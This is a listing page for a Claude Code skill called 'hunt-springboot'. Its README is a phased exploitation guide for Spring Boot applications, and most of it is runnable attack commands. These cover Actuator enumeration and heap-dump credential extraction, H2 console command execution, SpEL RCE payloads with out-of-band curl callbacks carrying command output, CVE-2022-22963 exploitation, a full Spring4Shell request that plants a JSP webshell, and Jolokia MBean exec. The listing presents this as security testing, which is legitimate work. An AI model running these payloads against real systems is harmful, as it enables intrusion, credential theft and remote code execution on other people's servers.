mcpField
H
hunt-springboot

hunt-springboot

github.com/uphiagoSecurity1.3k42 installsUpdated 8w ago
Repository

About hunt-springboot

A security-testing skill for assessing Spring Boot applications. It helps researchers inspect Actuator exposure and check for issues involving H2 Console, SpEL, Spring4Shell, and Jolokia.

Key features

  1. 01Spring Boot fingerprinting
  2. 02Actuator endpoint enumeration
  3. 03Heap dump and environment exposure checks
  4. 04H2 Console and SpEL testing
  5. 05Spring4Shell and Jolokia checks

Use cases

  1. 01Audit exposed Actuator endpoints
  2. 02Check whether application memory or properties reveal secrets
  3. 03Assess H2 Console and expression-injection risks

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-springboot

After installing, type/hunt-springbootin Claude Code to confirm it loaded.

Details

From the project README

HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities

Crown Jewel Targets

Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.

Highest-value findings:

  • /actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
  • /actuator/env — lists all environment variables and Spring properties including secrets
  • /actuator/shutdown — POST → shuts down the application (Critical availability impact)
  • H2 Console (/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick
  • SpEL injection — Spring Expression Language in template fields, @Value annotations, SpEL-processed request params → RCE
  • Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding

Phase 1 — Fingerprint Spring Boot

# Spring Boot indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

Phase 2 — Actuator Endpoint Enumeration

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl --max-time 30 --connect-timeout 10 -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl --max-time 30 --connect-timeout 10 -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl --max-time 30 --connect-timeout 10 -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -Eo '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl --max-time 30 --connect-timeout 10 -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

Phase 3 — Heap Dump Analysis

# Download heap dump (can be large — 100MB+)
curl --max-time 30 --connect-timeout 10 -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -Eo "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -Eo "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -Eo "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
strings /tmp/heapdump.hprof | grep -Eo "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/

Phase 4 — H2 Console RCE

# H2 console detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2" | grep -i "H2 Console"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/console" | grep -i "H2"

# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb

# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
#   Runtime rt = Runtime.getRuntime();
#   String[] commands = {"sh","-c",cmd};
#   Process proc = rt.exec(commands);
#   return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');

Phase 5 — SpEL Injection

# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated

# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow

# Basic SpEL test
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed

# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'

# CVE-2022-22963 — Spring Cloud Function SpEL
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/functionRouter" \
  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
  -d "test"

Phase 6 — Spring4Shell (CVE-2022-22965)

# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment

# Detection: does the app accept class.* parameters?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/user" \
  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback

# Exploitation: write webshell via class loader
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/login" \
  --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

Phase 7 — Jolokia JMX Exposure

# Jolokia provides HTTP access to JMX MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20

# List all MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30

# Read system properties via Jolokia (may expose credentials)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
  python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"

# Exec MBean operations (potential RCE via MLet)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

Chain Table

Spring Boot findingChain toImpact
/actuator/heapdumpExtract DB passwords, API keys from memoryCritical credential exfil
/actuator/envRead all env vars including secretsHigh
H2 console accessibleCREATE ALIAS → RCECritical
SpEL injectionT(Runtime).exec() → OS commandCritical RCE
Spring4ShellWrite webshell → RCECritical
Jolokia + MLetRemote code via MBeanCritical RCE

Validation

✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file ✅ Actuator/env: secrets visible in JSON response ✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received ✅ H2 console: SQL executed, id output returned

Severity:

  • Heapdump with credentials: Critical
  • SpEL RCE: Critical
  • H2 console RCE: Critical
  • Actuator env (passwords exposed): High
  • Mappings disclosure only: Low-Medium

Verification

Run this self-test to confirm springboot hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-springboot" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

All 3 tests verify the skill is properly structured and ready for use.


Pitfalls

  • Actuator endpoints without sensitive data — /actuator/health or /actuator/info are intentionally public. Need /actuator/env, /actuator/heapdump, or /actuator/mappings.
  • /actuator/env with sanitized values — Spring Boot 2.x+ sanitizes env values by default. Need unsanitized secrets.
  • /actuator/heapdump download — heapdump analysis requires Eclipse MAT or similar. The finding is the dump is accessible, not what it contains (prove with actual extracted secrets).
  • /actuator/loggers modification — changing log level to DEBUG can leak sensitive data. Demonstrate the leaked data.
  • Spring Boot version without CVE — version disclosure is informational unless paired with a CVE affecting that specific version.

Comments

Markdown supported